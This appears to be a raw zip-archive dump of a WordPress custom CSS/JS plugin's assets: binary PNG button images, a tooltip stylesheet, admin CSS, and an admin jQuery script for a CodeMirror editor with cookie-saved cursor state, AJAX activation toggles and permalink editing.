   IHDR         (-S   tEXtSoftware Adobe ImageReadyqÉe<  "iTXtXML:com.adobe.xmp     <?xpacket begin="ï»¿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:65136FC5676811E5AA2FCF1E0673F93B" xmpMM:DocumentID="xmp.did:65136FC6676811E5AA2FCF1E0673F93B"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:65136FC3676811E5AA2FCF1E0673F93B" stRef:documentID="xmp.did:65136FC4676811E5AA2FCF1E0673F93B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>¹ÓÄ  GPLTEÿýëñëüòt-ýÿÿÞ¨áÌ Þ ú«QÌ 	Ö  Ï  Ì Ì ã…�Ý ÿýíþá¨Ñ  òìýéÑáóìüÿÿýòt/þÿýæÕùó‹Rñž…Ø ÐdÄÖ‹×ÿùÕÌHñt-ðíþÿÿüñáÓÌ þÙŽà é¿åÌ düÃxþäºæ( Üzißaiÿþíÿì®úüÿúóüþÞ‘ØÂûß×à¸ìêJÏO©Ì ß Ì Ì Ì 'Ò  Ð-qÔ  ûýÿÌ-tÿüéþæÁÖh{ðg"ÓQ‰Ò<cÚ¬ëþàœðèüö×ÞÌ+rüÄ�ÿüóÚ ÔuÁýÆgÌ+qÕ  Ó þâ©ÚšßðWÌVÒ ÿë·ì¹ãÚ
 Ö ýùþþï×ãiaÕŽÜñÖîéd=ÒpËÌ üýÿýÍsÿþùÌ 
þÿÿÌ  ÿÿÿšIT(   mtRNSÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ -¶ÔK   ÈIDATxÚbÈA`2^*A—7)&À/’<n"'×l(Ðð	(±sÉ+dg)›e› ä´³e³ÄìsT9m$€FÁÙ,Yq9lÙÙ‰Y9�‚ÙÙ*¦99Qj@Sd˜rÒm³³…€¦1R€úþÙ>Œ9ZÑY@+ záÙi¡–Ü,âšöŠ wxÆ°ºðeg[ëÄr„e�D}¥!îÊ4v€úÅ992;;Õ]=î¹?oCdß"€  1RPÉ½oÊ    IEND®B`‚PK     ]t]èðÛUû  û    assets/images/button-close.pngnu ÕIw¶´        ‰PNG

   IHDR         (-S   tEXtSoftware Adobe ImageReadyqÉe<  "iTXtXML:com.adobe.xmp     <?xpacket begin="ï»¿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:9E9BE8E4676811E5917FF1C1CD43509E" xmpMM:DocumentID="xmp.did:9E9BE8E5676811E5917FF1C1CD43509E"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:9E9BE8E2676811E5917FF1C1CD43509E" stRef:documentID="xmp.did:9E9BE8E3676811E5917FF1C1CD43509E"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>™oè  ,PLTEÿþúµ¹¾ëÙÉ´¹Å´¹Àúþÿ´¹¿þ÷éüÿÿ´ÅÛÏç÷ëúþýÿÿÿÿþøèÓµÅÜÍÁ¾ÐÁ¾ÛÄ¾´¹Áþûõþöãÿýôòô÷´½ÐÿþùßÔÎ¼Øòþøíëäàýøïøþÿë÷ôÖÞæèùþÆ¼¾´Â×Úóýßò÷»¹¾¸ÏéÀ¹¾ÖÖ×Â¹¾Èã÷ÂÖÝÒìúüïØÃßõëÙÊîßÓþ÷æ½É×¾º¾úïÝìúþÏÁ¾ÌÚÙþÿþ´¹ÆíúþÃº¾É»¾øüþ¸¹¾êôûÀÙïÉèú¾ÏáÃ¹¾ÿúê´¹Èãìø¹ÅÛéÕÇÿþüüýÿýõâ½¹¾½º¾ùöõéúÿýñÛþúíàÍÂÉ¼¾ÞíøéÑÂÑÁ¾úïßºÔðÁàöÐÔÙÅÜïÿÿú´½Ôÿÿýþÿÿ´¹¾ÿÿÿ†Fç‚   dtRNSÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ &Œm=   ÇIDATxÚbHF`RDV+FÑ1&À`dš.6I¯$(PQ	ðò9H¨11&q*„$iÈÄ„’x=¹“}]ÝU�¢ÚIÌ\‰	>ÉìIIÑ‰ÉúêIIÖz‰ÉÁ@S¢8’ƒü’’øÍ�¦ÍI’
¸Ù%qr'Ëx$EXœ�fÄ…'9±²2sY™iÆ‚ÜaÊ¦+�”ÄliË¢“à�T†¸K8–ê9)ÿ¤$6“0¸ç’½Äí‘}‹  ƒdH‚{Û	±    IEND®B`‚PK     ]t]•¾8Çv  v    assets/tipsy.cssnu ÕIw¶´        .tipsy { font-size: 12px; position: absolute; padding: 5px; z-index: 100000; }
  .tipsy-inner { background-color: #000; color: #FFF; max-width: 200px; padding: 5px 8px 4px 8px; text-align: center; }

  /* Rounded corners */
  .tipsy-inner { border-radius: 3px; -moz-border-radius: 3px; -webkit-border-radius: 3px; }
  
  /* Uncomment for shadow */
  /*.tipsy-inner { box-shadow: 0 0 5px #000000; -webkit-box-shadow: 0 0 5px #000000; -moz-box-shadow: 0 0 5px #000000; }*/
  
  .tipsy-arrow { position: absolute; width: 0; height: 0; line-height: 0; border: 5px dashed #000; }
  
  /* Rules to colour arrows */
  .tipsy-arrow-n { border-bottom-color: #000; }
  .tipsy-arrow-s { border-top-color: #000; }
  .tipsy-arrow-e { border-left-color: #000; }
  .tipsy-arrow-w { border-right-color: #000; }
  
	.tipsy-n .tipsy-arrow { top: 0px; left: 50%; margin-left: -5px; border-bottom-style: solid; border-top: none; border-left-color: transparent; border-right-color: transparent; }
    .tipsy-nw .tipsy-arrow { top: 0; left: 10px; border-bottom-style: solid; border-top: none; border-left-color: transparent; border-right-color: transparent;}
    .tipsy-ne .tipsy-arrow { top: 0; right: 10px; border-bottom-style: solid; border-top: none;  border-left-color: transparent; border-right-color: transparent;}
  .tipsy-s .tipsy-arrow { bottom: 0; left: 50%; margin-left: -5px; border-top-style: solid; border-bottom: none;  border-left-color: transparent; border-right-color: transparent; }
    .tipsy-sw .tipsy-arrow { bottom: 0; left: 10px; border-top-style: solid; border-bottom: none;  border-left-color: transparent; border-right-color: transparent; }
    .tipsy-se .tipsy-arrow { bottom: 0; right: 10px; border-top-style: solid; border-bottom: none; border-left-color: transparent; border-right-color: transparent; }
  .tipsy-e .tipsy-arrow { right: 0; top: 50%; margin-top: -5px; border-left-style: solid; border-right: none; border-top-color: transparent; border-bottom-color: transparent; }
  .tipsy-w .tipsy-arrow { left: 0; top: 50%; margin-top: -5px; border-right-style: solid; border-left: none; border-top-color: transparent; border-bottom-color: transparent; }
PK     ]t]14¦‡)  ‡)    assets/ccj_admin.cssnu ÕIw¶´        /**
 * Add Custom Code buttons
 */
.updated.buttons {
    border: none; 
    background-color: transparent; 
    box-shadow: none; 
    padding: 0; 
    margin: 15px 0 15px !important; 
}
.custom-btn {
    background: #0c73b8;
    border-radius: 2px;
    color: #ffffff;
    font-size: 17px;
    padding: 10px 20px 10px 20px !important;
    text-decoration: none;
}
.custom-btn:hover {
    color: #fff;
    background: #2eaadd;
    text-decoration: none;
}
.custom-js-btn {
	background: #e4a228;
}
.custom-js-btn:hover {
	background: #eebf31;
}
.custom-php-btn {
	background: #e45126;
}
.custom-php-btn:hover {
	background: #f6652c;
}
.update.notice a { display: none; }


/**
 * Change the `edit` screen
 */
.inline.hide-if-no-js {
	display: none;
}
.view-switch {
	display: none;
}
#type.manage-column {
	width: 70px;
}
.language { 
    background: #0c73b8;
    border-radius: 2px;
    color: #ffffff;
    font-size: 12px;
    padding: 5px 10px !important;
    text-decoration: none;
    word-wrap: normal !important;
}
.language-js {
	background: #e4a228;
}
.language-php {
	background: #e45126;
}
.language-html {
	background: #e45126;
}
.widefat td, .widefat th, .type.column-type, .check-column, .column-active {
	vertical-align: middle !important;
}
.type.column-type {
    text-align: center;
}
.column-options span {
	margin-left: 7px;
}
.column-active .dashicons {
	font-size: 17px;
}
.column-active a, .column-active a:active, .column-active a:hover, .column-active a:focus {
	display: block;
	outline: 0;
	border: 0;
	text-decoration: none;
}
#active.manage-column {
	width: 54px;
}
th.column-published, th.column-modified {
    width: 15%;
}
@media screen and (max-width:782px){
    .wp-list-table tr:not(.inline-edit-row):not(.no-items) td:not(.check-column)::before {
		display: none !important;
	}
    .wp-list-table .toggle-row {
		display: none !important;
	}
}

/**
 * Code Mirror editor
 */
#content {
    width: 100%;
    padding-left: 36px;
    border-top: 0;
    border-bottom: 0;
}

#minor-publishing {
	display: none;
}
#post-body #normal-sortables {
	min-height: 0px;
}
.CodeMirror { 
    margin-top: 0px; 
    border: 1px solid #ddd; 
    border-bottom: none; 
    border-top: none;
}
.CodeMirror pre {
	padding-left: 7px;
	line-height: 1.25;
}
.CodeMirror-matchingbracket {
	outline: 1px solid grey !important;
	color: #000 !important;
}
.code-mirror-buttons {
    margin-top: 15px;
    width: calc(100% - 2px);
    background: #f7f7f7;
    border: 1px solid #ddd;
    border-bottom: none;
    height: 36px;
}
.code-mirror-buttons .button-right {
    display: block;
    float: right;
}
.code-mirror-buttons button {
    padding: 2px 3px;
    line-height: normal;
    font-size: 14px;
    cursor: pointer;
    color: #333;
    text-align: center;
    overflow: visible;
    margin: 6px 4px;
    border: none;
    background-color: transparent;
    border: 1px solid transparent;
}
.code-mirror-buttons button:hover, .code-mirror-buttons button:focus {
    color: #333;
    background-color: #e3e3e3;
    border: 1px solid #ccc;
    border-radius: 1px;
}
.code-mirror-buttons button i {
    font: 400 20px/1 dashicons;
    vertical-align: middle;
    speak: none;
    color: #777;
    line-height: 20px;
    width: 20px;
    height: 20px;
}
.button-left, .button-right {
    display: inline-block;
}
i.ccj-i-fullscreen::before {
    content: "\f211";
}
i.ccj-i-find::before {
    content: "Find";
}
i.ccj-i-beautifier::before {
    content: "\f100";
}
.code-mirror-before {
    border: 1px solid #ddd;
    border-bottom: none;
    background-color: #f7f7f7;
}
.code-mirror-before div {
    color: #8F8F8F;
    margin-left: 38px;
    border-left: 1px solid #ddd;
    padding: 3px 8px;
    background-color: #fff;
}
.code-mirror-after {
    border: 1px solid #ddd;
    border-top: none;
    background-color: #f7f7f7;
}
.code-mirror-after div {
    color: #8F8F8F;
    margin-left: 38px;
    border-left: 1px solid #ddd;
    padding: 3px 8px;
    background-color: #fff;
}

/**
 * Options meta box
 */
.radio-group input {
	margin-top: 1px;
}
.radio-group label {
	padding: 2px 0;
}
.options_meta_box h3 {
	margin: 1.6em 0 0 0 !important;
}
.radio-group {
	line-height: 30px;
	padding-left: 10px;
}
.radio-group .dashicons-before::before {
	margin: 7px 3px 0 3px;
}
.options_meta_box select {
	margin-left: 10px;
}
#custom-code-options .options_meta_box select {
    margin-left: 0px;
    width: 100%;
}

/**
 * Revisions
 */
table.revisions {
    width: 100%;
    max-width: 100%;
    background-color: transparent;
    border-spacing: 0;
    border-collapse: collapse;
    border-color: gray;
}
table.revisions thead, table.revisions tbody {
    vertical-align: middle;
}
table.revisions tbody tr:hover {
    background-color: #f7f7f9;
}
table.revisions thead th {
    white-space: nowrap;
    text-align: left;
    padding: 8px;
    line-height: 1.42857143;
    vertical-align: bottom;
    border-bottom: 2px solid #ddd;
}
table.revisions tbody td {
    padding: 8px;
    line-height: 1.42857143;
    vertical-align: top;
    border-top: 1px solid #ddd;
}
tr.current-revision {
    background-color: #00ff00;
}
td.revisions-compare, td.revisions-restore, td.revisions-delete {
    width: 36px; 
}
td.revisions-compare, th.revisions-compare {
    text-align: center !important;
}
table.revisions a {
    text-decoration: none;
}
table.revisions a:hover {
    text-decoration: underline;
}
table.revisions .hidden {
    visibility: hidden;
}
div#TB_window { 
    width: 90% !important;
    margin-left: -45% !important;
    height: 90% !important;
    margin-top: -22% !important;
}
div#TB_window .error {
    padding: 15px;
    margin-bottom: 20px;
    border: 1px solid transparent;
    border-radius: 4px;
    color: #a94442;
    background-color: #f2dede;
    border-color: #ebccd1;
}
iframe#TB_iframeContent {
    width: 100% !important; 
    height: 100% !important; 
}
#url-rules textarea {
    width: 100%;
    height: 200px;
}


/* URL Rules */
.wplnst-elist-visible { display: block; }
.wplnst-elist-readonly { margin: 0; }

.wplnst-elist tr {
margin-bottom: 10px;
}

.wplnst-elist tr td {
margin: 0; padding: 4px 5px;				
}

.wplnst-elist tr td.wplnst-elist-val {
color: #5c5a5a;
background: rgba(0,115,170,0.6);
}

#wplnst-af-new  { width: 361px; }
#wplnst-ius-new { width: 425px; }
#wplnst-eus-new { width: 425px; }

.wplnst-elist tr td.wplnst-cfs-val { width: 205px; }
.wplnst-elist tr td.wplnst-afs-val { width: 350px; }
.wplnst-elist tr td.wplnst-ius-val { width: 415px; }
.wplnst-elist tr td.wplnst-eus-val { width: 415px; }

.wplnst-elist tr td.wplnst-elist-type {
color: #6f6f6f;
}

.wplnst-elist tr td.wplnst-cfs-type { width: 53px;  padding-left: 12px; }
.wplnst-elist tr td.wplnst-afs-type { width: 200px; padding-left: 0; }
.wplnst-elist tr td.wplnst-ius-type { width: 121px; padding-left: 14px; }
.wplnst-elist tr td.wplnst-eus-type { width: 121px; padding-left: 14px; }

.wplnst-elist tr td.wplnst-hes-ele  { width: 55px; font-weight: bold; }
.wplnst-elist tr td.wplnst-hes-have { width: 87px; font-weight: bold; }
.wplnst-elist tr td.wplnst-hes-att  { width: 125px; }
.wplnst-elist tr td.wplnst-hes-op   { width: 112px; padding-left: 15px; font-weight: bold; }
.wplnst-elist tr td.wplnst-hes-val  { width: 126px; }

.wplnst-elist tr td.wplnst-elist-close {
padding-left: 21px;
}

.wplnst-elist tr td.wplnst-elist-close .wplnst-elist-close-link {
    display: block;
    width: 16px; height: 16px;
    outline: none; border: 0;
    text-indent: -9999px;
    background: url(images/button-close.png) left top no-repeat;
}

.wplnst-elist tr td.wplnst-elist-close .wplnst-elist-close-link:hover {
    background: url(images/button-close-hover.png) left top no-repeat;
}
.wplnst-elist tr td.wplnst-elist-split {
	height: 3px;
}
#ccj-preview_url {
    width: 78%;  
}
#ccj-preview {
    width: 20%;
    text-align: center;
}

/**
 * Settings page
 */
#ccj_duration_preview, #ccj_editor_theme {
    width: 220px;
}
.custom-css-js_page_custom-css-js-config .CodeMirror {
    height: 200px;
}
.role-permissions, .role-permissions2 {
    width: 100%;
}
.role-permissions td, .role-permissions th, .role-permissions2 td {
    padding: 6px;
    text-align: center;
}
.role-permissions td.desc, .role-permissions2 td.desc {
    width: 35%;
    text-align: right;
    padding-right: 20px;
}
.role-permissions2 td {
    text-align: left;
}
.custom-css-js_page_custom-css-js-config .dashicons-editor-help {
    color: #999;
}

/**
 * Overlay
 */
#normal-sortables, .ccj_opaque {
    opacity: 0.4;
}
.ccj_only_premium {
    z-index: 9999;
    width: 160px; 
    height: 60px; 
    position: absolute; 
    margin-left: 254px; 
    color: white;
}
.ccj_only_premium>div {
    font-family: sans-serif;
	font-size: 13px;
	text-align: center;
	border-radius: 5px;
	float: left;
	background-color: rgb(51, 51, 51);
	color: white;
	width: 207px;
	padding: 20px 20px
}
.ccj_only_premium a {
    color: white; text-decoration: none;
    transition: color 0.3s;
}
.ccj_only_premium a:hover {
    color: #0073aa; text-decoration: none;
}
.ccj_only_premium-right {
    width: 80px;
    margin-left: 130px;
    margin-top: -120px;
}
.ccj_only_premium-right>div {
    width: 200px;
    padding: 10px;
    margin-left: -110px;
}
.CodeMirror-fullscreen {
  position: fixed !important;
  top: 0; left: 0; right: 0; bottom: 0;
  height: auto;
  z-index: 100004;
}
pre.CodeMirror-line {
    direction: ltr;
}
.post-type-custom-css-js .metabox-prefs {
	display: none;
}
.post-type-custom-css-js #url-rules[style], .post-type-custom-css-js #revisionsdiv[style], .post-type-custom-css-js #previewdiv[style], .post-type-custom-css-js #custom-code-options[style] {
	display: block !important;
}

/**
 * RTL
 */
.rtl #custom-code-options.postbox .radio-group{
    padding-left: 0;
    padding-right: 10px
}
.rtl #custom-code-options.postbox .ccj_only_premium-right{
    margin-left: 0;
    margin-right: 130px
}
.rtl #custom-code-options.postbox .ccj_only_premium>div{
    margin-left: 0;
    margin-right: -110px;
    float:right
}
.rtl .ccj_only_premium.ccj_only_premium-first{
    margin-left: 0;
    margin-right: 254px
}
.rtl .ccj_only_premium.ccj_only_premium-first>div{
    float: right
}
.rtl #revisionsdiv table.revisions thead th{
    text-align: right
}
.rtl #edit-slug-box.hide-if-no-js #ccj-edit-slug-buttons{
    margin-right: 5px
}
.rtl table#post-status-info .autosave-info{
    text-align: right
}
.rtl .code-mirror-buttons, .rtl .code-mirror-before, .rtl .CodeMirror.cm-s-default.ui-resizable, .rtl .code-mirror-after{
    direction: ltr
}
.rtl .CodeMirror-gutter-wrapper{
    left: -30px !important
}
PK     ]t]P®¤4  ¤4    assets/ccj_admin.jsnu ÕIw¶´        jQuery(document).ready( function($) { 

    $('.page-title-action').hide();

    var postID = document.getElementById('post_ID') != null ? document.getElementById('post_ID').value : 0;

    // Initialize the CodeMirror editor
    if ( $('#ccj_content').length > 0 ) {
        var content_mode = $("#ccj_content").attr('mode');
        if ( content_mode == 'html' ) {
              var content_mode = {
                name: "htmlmixed",
                scriptTypes: [{matches: /\/x-handlebars-template|\/x-mustache/i,
                mode: null}]
                 };
        }

		CCJ.codemirror.mode = content_mode;
		CCJ.codemirror.extraKeys.F11 = function(cm) {
        	cm.setOption("fullScreen", !cm.getOption("fullScreen"));
			fullscreen_buttons( true );
			var cookies = (getCookie('ccj-' + postID) || '0,0,0,0').split(',');
			document.cookie = 'ccj-' + postID + '=' + [cookies[0], cookies[1], cookies[2], 1].join(',') + '; SameSite=Lax';
		};
        CCJ.codemirror.extraKeys.Esc = function(cm) {
			if (cm.getOption("fullScreen")) cm.setOption("fullScreen", false);
			fullscreen_buttons( false );
			var cookies = (getCookie('ccj-' + postID) || '0,0,0,0').split(',');
			document.cookie = 'ccj-' + postID + '=' + [cookies[0], cookies[1], cookies[2], 0].join(',') + '; SameSite=Lax';
		};

        var editor = CodeMirror.fromTextArea(document.getElementById("ccj_content"), CCJ.codemirror);

		// Code folding
		editor.setOption("lineNumbers", true);
		editor.setOption("lineWrapping", true);
		editor.setOption("foldGutter", true);
		editor.setOption("gutters", ["CodeMirror-linenumbers", "CodeMirror-foldgutter"]);
		CCJ.codemirror.extraKeys["Ctrl-Q"] = function(cm){ cm.foldCode(cm.getCursor()); };

		// Note: ccj-postID cookie will save cursor line, cursor character, editor height and fullscreen values
		var cookies = (getCookie('ccj-' + postID) || '0,0,0,0').split(',');

        // Make the editor resizable
        var cm_width = $('#title').width() + 16;
		var cm_height = (parseFloat(cookies[2]) >= 200) ? parseFloat(cookies[2]) : 500;
        editor.setSize(cm_width, cm_height);

        $('.CodeMirror').resizable({
            resize: function() {
                editor.setSize($(this).width(), $(this).height());
            } ,
            maxWidth: cm_width,
            minWidth: cm_width,
            minHeight: 200
            
        });

        $(window).resize(function () { 
            var cm_width = $('#title').width() + 16;
            var cm_height = $('.CodeMirror').height();
            editor.setSize(cm_width, cm_height);
        });

        // Code Beautifier
        $("#ccj-beautifier").click(function(e){
            CodeMirror.commands["selectAll"](editor);
            editor.autoFormatRange(editor.getCursor(true), editor.getCursor(false));
            editor.setCursor(0);
            e.preventDefault();
        });

		// Autocomplete
		if ( CCJ.autocomplete === '1' ) {
			editor.on( "keyup", function ( cm, event ) {
				if ( ! cm.state.completionActive && event.keyCode > 64 && event.keyCode < 91 ) {
					CodeMirror.commands.autocomplete( cm, null, { completeSingle: false } );
				}
			});
		}

        // Saving cursor state
        editor.on('cursorActivity', function () {
            var curPos = editor.getCursor();
            document.cookie = 'ccj-' + postID + '=' + [curPos.line, curPos.ch, cookies[2], cookies[3]].join(',') + '; SameSite=Lax';
        });

        // Restoring cursor state
        editor.setCursor(parseFloat(cookies[0]), parseFloat(cookies[1]));

		// Save the editor's height
		editor.on('refresh', function() {
			var height = ( !editor.getOption('fullScreen') ) ? $('.CodeMirror').height() : cookies[2];
        	var curPos = editor.getCursor();
			document.cookie = 'ccj-' + postID + '=' + [curPos.line, curPos.ch, height, Number(editor.getOption('fullScreen'))].join(',') + '; SameSite=Lax';
		});

		// Save the custom code when hitting "Ctrl-S"
		editor.on('keydown', function(cm, event) {
			if ( ! event.ctrlKey && ! event.metaKey || event.which !== 83 ) return;

			var height = ( !editor.getOption('fullScreen') ) ? $('.CodeMirror').height() : cookies[2];
        	var curPos = editor.getCursor();
			document.cookie = 'ccj-' + postID + '=' + [curPos.line, curPos.ch, height, Number(editor.getOption('fullScreen'))].join(',') + '; SameSite=Lax';
			
			$("form#post").submit();
            event.preventDefault();
            return false;
		});


		// Restoring fullscreen 
		editor.setOption("fullScreen", parseFloat(cookies[3]));
        fullscreen_buttons( Boolean(parseFloat(cookies[3])) );

		// Action for the `fullscreen` button
		$("#ccj-fullscreen-button").click( function() {
			editor.triggerOnKeyDown({type: 'keydown', keyCode: 122});
		});

		$("#publish").click(function(e){
			var cookies = (getCookie('ccj-' + postID) || '0,0,0,0').split(',');
			var curPos = editor.getCursor();
			document.cookie = 'ccj-' + postID + '=' + [curPos.line, curPos.ch, cookies[2], Number(editor.getOption('fullScreen'))].join(',') + '; SameSite=Lax';
		});
    }

    // Enable the tipsy 
    $('span[rel=tipsy].tipsy-no-html').tipsy({fade: true, gravity: 's'});
    $('span[rel=tipsy]').tipsy({fade: true, gravity: 's', html: true});

    // Toggle the buttons when in fullscreen mode
    function fullscreen_buttons( mode ) {
        editor.focus();
        if ( mode === true ) {
            $("#publish").css({
                'position'  : 'fixed',
                'right'     : '40px',
                'bottom'    : '40px',
                'z-index'   : 100005,
            });
        } else {
            $("#publish").css({
                'position'  : 'static',
                'right'     : 'initial',
                'bottom'    : 'initial',
                'z-index'   : 10,
            });
        }
    }


    // For post.php or post-new.php pages show the code's title in the page title
    if ( $('#titlediv #title').length > 0 ) {
        var new_title = $("input[name=custom_code_language]").val().toUpperCase() + ' - ' + $('#titlediv #title').val();
        if( $('#titlediv #title').val().length > 0 ) {
            $(document).prop('title', new_title );
        }
        $('#titlediv #title').change(function() {
            if ( $(this).val().length > 0 ) {
                $(document).prop('title', new_title);
            } 
        });
    }


    // Make the inactive rows opaque
    if ( $('.dashicons-star-empty.ccj_row').length > 0 ) {
        $('.dashicons-star-empty.ccj_row').each(function(){
            $(this).parent().parent().parent().css('opacity', '0.4');
        });
    }

    // Activate/deactivate codes with AJAX
    $(".ccj_activate_deactivate").click( function(e) {
        var url = $(this).attr('href');
        var code_id = $(this).attr('data-code-id');
        e.preventDefault(); 
        $.ajax({
            url: url, 
            success: function(data){
                if (data === 'yes') {
                    ccj_activate_deactivate(code_id, false);
                }
                if (data === 'no') {
                    ccj_activate_deactivate(code_id, true);
                }
            }
        });
    });


	// The "After <body> tag" option cannot go together with the "In Admin" option
	custom_code_type_change();
	$( 'input[name=custom_code_type]' ).on( 'change', custom_code_type_change );
	function custom_code_type_change() {
		if ( $( 'input[name=custom_code_type]:checked' ).val() === 'body_open' ) {
			$( '#custom_code_side-admin' ).prop( 'disabled', true );
			if ( $( 'input[name=custom_code_side]:checked' ).val() === 'admin' ) {
				$( '#custom_code_side-admin' ).prop( 'checked', 'checked' );
			}
		} else {
			$( '#custom_code_side-admin' ).prop( 'disabled', false );
		}
	}
	custom_code_side_change();
	$( 'input[name=custom_code_side]' ).on( 'change', custom_code_side_change );
	function custom_code_side_change() {
		if ( $( 'input[name=custom_code_side]:checked' ).val() === 'admin' ) {
			$( '#custom_code_type-body_open' ).prop( 'disabled', true );
		} else {
			$( '#custom_code_type-body_open' ).prop( 'disabled', false );
			if ( $( 'input[name=custom_code_type]:checked' ).val() === 'body_open' ) {
				$( '#custom_code_type-body_open' ).prop( 'checked', true );
			}
		}
	}

	// Disable "In Block editor" option for "Linking type: Internal" and WP < 6.6
	if ( CCJ['wp_version'].localeCompare('6.6', undefined, { numeric: true, sensitivity: 'base' }) < 0 && $('#custom_code_side-block').length > 0 ) {

		toggle_in_block_editor( $('input[name="custom_code_linking"]:checked').val() !== 'internal' );
		$('input[name="custom_code_linking"]').change( function() {
			toggle_in_block_editor( $(this).val() !== 'internal' );
		} );

		function toggle_in_block_editor( enable = true ) {
			$('input#custom_code_side-block').prop('disabled', ! enable );
			$('.options_meta_box label.dashicons-layout').css('color', enable ? '#3c434a' : '#ccc' );
			$('.options_meta_box label.dashicons-layout span').css('color', '#3c434a').toggle( ! enable );
		}
	}


    // Toggle the signs for activating/deactivating codes
    function ccj_activate_deactivate(code_id, action) {
        var row = $('tr#post-'+code_id);
        if ( action === true ) {
            row.css('opacity', '1');
            row.find('.row-actions .ccj_activate_deactivate')
                .text(CCJ.deactivate)
                .attr('title', CCJ.active_title);
            row.find('td.active .dashicons')
                .removeClass('dashicons-star-empty')
                .addClass('dashicons-star-filled');
            row.find('td.active .ccj_activate_deactivate')
                .attr('title', CCJ.active_title);
            $('#activate-action span').text(CCJ.active);
            $('#activate-action .ccj_activate_deactivate').text(CCJ.deactivate);
        } else {
            row.css('opacity', '0.4');
            row.find('.row-actions .ccj_activate_deactivate')
                .text(CCJ.activate)
                .attr('title', CCJ.deactive_title);
            row.find('td.active .dashicons')
                .removeClass('dashicons-star-filled')
                .addClass('dashicons-star-empty');
            row.find('td.active .ccj_activate_deactivate')
                .attr('title', CCJ.deactive_title);
            $('#activate-action span').text(CCJ.inactive);
            $('#activate-action .ccj_activate_deactivate').text(CCJ.activate);
        }
    }

    function getCookie(name) {
        var value = '; ' + document.cookie;
        var parts = value.split('; ' + name + '=');
        if (parts.length === 2) return parts.pop().split(';').shift();
    }



    // Permalink slug
    $( '#titlediv' ).on( 'click', '.ccj-edit-slug', function() {
		var i, 
			$el, revert_e,
			c = 0,
            slug_value = $('#editable-post-name').html(),
			real_slug = $('#post_name'),
			revert_slug = real_slug.val(),
			permalink = $( '#sample-permalink' ),
			permalinkOrig = permalink.html(),
			permalinkInner = $( '#sample-permalink a' ).html(),
            permalinkHref = $('#sample-permalink a').attr('href'),
			buttons = $('#ccj-edit-slug-buttons'),
			buttonsOrig = buttons.html(),
			full = $('#editable-post-name-full');

		// Deal with Twemoji in the post-name.
		full.find( 'img' ).replaceWith( function() { return this.alt; } );
		full = full.html();

		permalink.html( permalinkInner );

		// Save current content to revert to when cancelling.
		$el = $( '#editable-post-name' );
		revert_e = $el.html();

		if ( typeof postL10n === 'undefined' || postL10n.cancel === '' || postL10n.ok === '' ) {
			postL10n = {
				ok     : wp.i18n.__( 'OK' ),
				cancel : wp.i18n.__( 'Cancel' ),
			}
		}

        buttons.html( '<button type="button" class="save button button-small">' + postL10n.ok + '</button> <button type="button" class="cancel button-link">' + postL10n.cancel + '</button>' );


        // Save permalink changes.
		buttons.children( '.save' ).click( function() {
			var new_slug = $el.children( 'input' ).val();

			if ( new_slug == $('#editable-post-name-full').text() ) {
				buttons.children('.cancel').click();
				return;
			}

			$.post(
				ajaxurl,
				{
					action: 'ccj_permalink',
					code_id: $('#post_ID').val(),
					new_slug: new_slug,
                    permalink: permalinkHref, 
					filetype: $('#editable-post-name-full').data('filetype'), 
					ccj_permalink_nonce: $('#ccj-permalink-nonce').val()
				},
				function(data) {
					var box = $('#edit-slug-box');
					box.html(data);
					if (box.hasClass('hidden')) {
						box.fadeIn('fast', function () {
							box.removeClass('hidden');
						});
					}
				}
			);
		});

		// Cancel editing of permalink.
		buttons.children( '.cancel' ).click( function() {
			$('#view-post-btn').show();
			$el.html(revert_e);
			buttons.html(buttonsOrig);
			permalink.html(permalinkOrig);
			real_slug.val(revert_slug);
			$( '.ccj-edit-slug' ).focus();
		});

		$el.html( '<input type="text" name="new_slug" id="new-post-slug" value="' + slug_value + '" autocomplete="off" />' ).children( 'input' ).keydown( function( e ) {
			var key = e.which;
			// On [enter], just save the new slug, don't save the post.
			if ( 13 === key ) {
				e.preventDefault();
				buttons.children( '.save' ).click();
			}
			// On [esc] cancel the editing.
			if ( 27 === key ) {
				buttons.children( '.cancel' ).click();
			}
		} ).keyup( function() {
			real_slug.val( this.value );
		}).focus();


    });


});

